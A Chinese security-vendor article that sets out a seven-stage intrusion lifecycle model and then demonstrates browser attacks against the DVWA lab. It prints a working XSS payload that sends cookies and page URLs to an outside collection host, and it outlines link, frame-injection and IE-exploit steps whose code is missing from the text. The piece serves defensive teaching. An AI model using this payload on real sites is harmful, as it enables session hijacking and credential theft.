美创科技为了更好地进行入侵检测和防御，参照各种安全威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型。
作为美创新一代安全架构的三大支柱之一。入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。
1）探索发现
在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。
2）入侵和感染
在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。
3）探索感知
攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。
4）传播
在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。
5）持久化
攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。
6）攻击和利用
攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。
7）恢复
攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。
“
本系列文章基于美创科技入侵生命周期1.0架构，细分个阶段攻击者的常用攻击手段，并对相关攻击手段的具体实施方式进行逐一剖析，为安全防御建设提供有力知识补充和反制准备。
浏览器攻击
入侵和感染阶段
浏览器攻击是通过受害者正常浏览⽹⻚去获取系统控制权限的⼀种技术⼿段。
浏览器是操作系统中最重要的应用程序之一，但浏览器也经常被曝存在安全漏洞，攻击者既可以通过浏览器漏洞攻击受害者获得受害者机器权限，也可通过构造钓鱼网页诱使受害者输入登录凭证或者在目标网站上插入恶意js以获取受害者登录凭证。
从入侵生命周期角度分析，浏览器攻击可被攻击者用于入侵和感染阶段。
从攻击行为链条的上下文来看，针对浏览器攻击的行为链条输入输出如下：
输入：黑客已控制一个网页或内容
输出：网页中的脚本自动被执行，脚本主要用于搜寻浏览器或者插件的版本，以寻求相关的版本漏洞，根据上面发现的版本，进行漏洞代码的利用，如果攻击成功，黑客将会获得一个用户的系统管理权限。
针对浏览器攻击，可选择攻击手法如下：
1. 通过前端js代码注⼊，获取用户的登录凭证
（1）使用XSS平台进行注册，建立获取cookie的项目
（2）其中最关键的一段获取Cookie的代码为
(function() { (new Image()).src='http://xss.fbisb.com/xss.php?do=api&id=2Zd0&location='+escape((function() { try { return document.location.href } catch(e) { return''} })()) + '&toplocation=' + escape((function() { try {returntop.location.href } catch(e) { return '' } })()) + '&cookie='+escape((function() { try { return document.cookie } catch(e) { return ''}})()) + '&opener=' + escape((function() { try { return (window.opener&&window.opener.location.href) ? window.opener.location.href: '' }catch(e) {return '' } })()); })(); if ('' == 1) { keep = new Image(); keep.src='http://xss.fbisb.com/xss.php?do=keepsession&id=2Zd0&url='+escape(document.location) + '&cookie=' + escape(document.cookie)
从js代码可知，该JS代码会获取当前页的路径、cookie信息，并将该信息发送至xss平台 xss.fbisb.com
在dvwa的xss模块处，插入代码
sRC=http://xss.fbisb.com/2Zd0>
（3）刷新页面，可在XSS平台获取到相关敏感信息
2、通过网页的交互页面插入恶意代码或对象，该代码可在其他用户端展示，如评论区、公告区
（1）通过链接注入或框架注入等，诱使用户点击恶意链接或者在框架中钓鱼页面输入敏感信息链接注入，恶意代码通常为以下
（2）该代码展示页面如下
（3）用户点击超链接即进入攻击者预设的钓鱼页面或包含恶意程序的页面
（4）框架注入恶意代码通常如下
（5）该代码展示页面如下
（6）用户如在框架内钓鱼页面输入账号密码等敏感信息，则攻击者可获取到登录凭证
3、浏览器漏洞
（1）恶意html代码如下
（2）将该html页面部署在远程web服务器上
（3）将本地ie浏览器安全性降低
（4）本地访问远程恶意Html地址
（5）其中ping.exe的父进程为iexplore.exe
浙公网安备 33010502006954号 
